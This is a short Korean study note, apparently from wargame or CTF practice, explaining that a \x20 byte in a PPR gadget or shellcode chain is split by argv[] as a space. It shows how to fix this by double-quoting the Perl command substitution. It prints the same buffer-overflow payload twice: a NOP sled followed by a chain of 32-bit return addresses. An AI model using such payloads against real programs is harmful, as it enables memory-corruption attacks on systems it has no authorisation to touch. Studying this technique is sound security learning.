argv[] 인자로 받는 페이로드 구성 시 유의할 점
argv를 인자로 받을때 ppr 가젯이나 쉘코드에 \x20 이 들어 있으면
펄 or 파이썬 스크립트를 " " (더블 쿼터) 로 묶어야 한다.
\x20이 아스키 코드값으로 space(공백)인데, argv[]는
space(공백)을 토큰으로 인자 배열을 구분한다.
그래서 \x20 을 bad character 로 인식하는 듯 하다.
(정확한 건 아닌데 짐작컨데 이게 맞는듯..)
그러니까 ...
`perl -e 'print "\x90"x104,"\x10\x83\x04\x08","\xde\x84\x04\x08","\x20\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x21\xa0\x04\x08","\x2f\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x22\xa0\x04\x08","\x9d\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x23\xa0\x04\x08","\x5e\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x24\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x25\xa0\x04\x08","\x3b\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x26\xa0\x04\x08","\x16\x83\x04\x08"'`
기존의 페이로드가 이런식으로 나왔다면,
"`perl -e 'print "\x90"x104,"\x10\x83\x04\x08","\xde\x84\x04\x08","\x20\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x21\xa0\x04\x08","\x2f\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x22\xa0\x04\x08","\x9d\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x23\xa0\x04\x08","\x5e\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x24\xa0\x04\x08","\x54\x81\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x25\xa0\x04\x08","\x3b\x82\x04\x08","\x10\x83\x04\x08","\xde\x84\x04\x08","\x26\xa0\x04\x08","\x16\x83\x04\x08"'`"
요렇게 고쳐줘야 한다는 말이다.